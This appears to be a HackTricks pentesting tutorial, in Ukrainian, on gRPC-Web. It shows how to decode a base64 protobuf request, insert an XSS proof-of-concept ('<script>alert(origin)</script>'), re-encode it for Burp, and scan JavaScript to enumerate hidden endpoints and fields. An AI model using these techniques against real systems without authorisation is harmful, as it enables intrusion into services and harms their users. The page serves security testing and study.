hacktricks/src/pentesting-web/grpc-web-pentest.md

141 lines
6.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Pentesting gRPC-Web
{{#include ../banners/hacktricks-training.md}}
## **Маніпулювання gRPC-Web Пейлоадами**
gRPC-Web використовує Content-Type: `application/grpc-web-text` у запитах, що є своєрідним protobuf у формі base64, ви можете використовувати [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) інструмент, а також можете встановити його [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite).
### **Ручний метод з інструментом gGRPC Coder**
1. Спочатку декодуйте пейлоад:
```bash
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
```
2. Відредагуйте вміст декодованого корисного навантаження
```
nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
```
3. Закодуйте новий payload
```bash
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
```
4. Використовуйте вихід у Burp interceptor:
```
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
```
### **Посібник з розширення gRPC-Web Coder для Burp Suite**
Ви можете використовувати розширення gRPC-Web Coder для Burp Suite в [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite), що є простішим. Ви можете прочитати інструкції з установки та використання в його репозиторії.
## **Аналіз gRPC-Web Javascript Файлів**
В кожному gRPC-Web додатку є принаймні один Javascript файл. Ви можете проаналізувати файл, щоб знайти нові повідомлення, кінцеві точки та сервіси. Спробуйте використовувати інструмент [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite).
1. Завантажте Javascript gRPC-Web файл
2. Проскануйте його за допомогою grpc-scan.py:
```bash
python3 grpc-scan.py --file main.js
```
3. Аналізуйте вихідні дані та тестуйте нові кінцеві точки і нові сервіси:
```
Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
Found Messages:
grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+============+====================+==============+
| Message | Proto3StringField | 1 |
+------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+------------+--------------------+--------------+
grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
| Field Name | Field Type | Field Number |
+==============+====================+==============+
| Message | Proto3StringField | 1 |
+--------------+--------------------+--------------+
| Name | Proto3StringField | 2 |
+--------------+--------------------+--------------+
| Age | Proto3IntField | 3 |
+--------------+--------------------+--------------+
| IsAdmin | Proto3BooleanField | 4 |
+--------------+--------------------+--------------+
| Weight | Proto3FloatField | 5 |
+--------------+--------------------+--------------+
| Test | Proto3StringField | 6 |
+--------------+--------------------+--------------+
| Test2 | Proto3StringField | 7 |
+--------------+--------------------+--------------+
| Test3 | Proto3StringField | 16 |
+--------------+--------------------+--------------+
| Test4 | Proto3StringField | 20 |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField | 8 |
+--------------+--------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+=================+===================+==============+
| Message | Proto3StringField | 1 |
+-----------------+-------------------+--------------+
| MessageCount | Proto3IntField | 2 |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField | 3 |
+-----------------+-------------------+--------------+
grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name | Field Type | Field Number |
+============+===================+==============+
| Message | Proto3StringField | 1 |
+------------+-------------------+--------------+
grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
| Field Name | Field Type | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1 |
+--------------+----------------+--------------+
```
## Посилання
- [Hacking into gRPC-Web Article by Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
- [gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite)
{{#include ../banners/hacktricks-training.md}}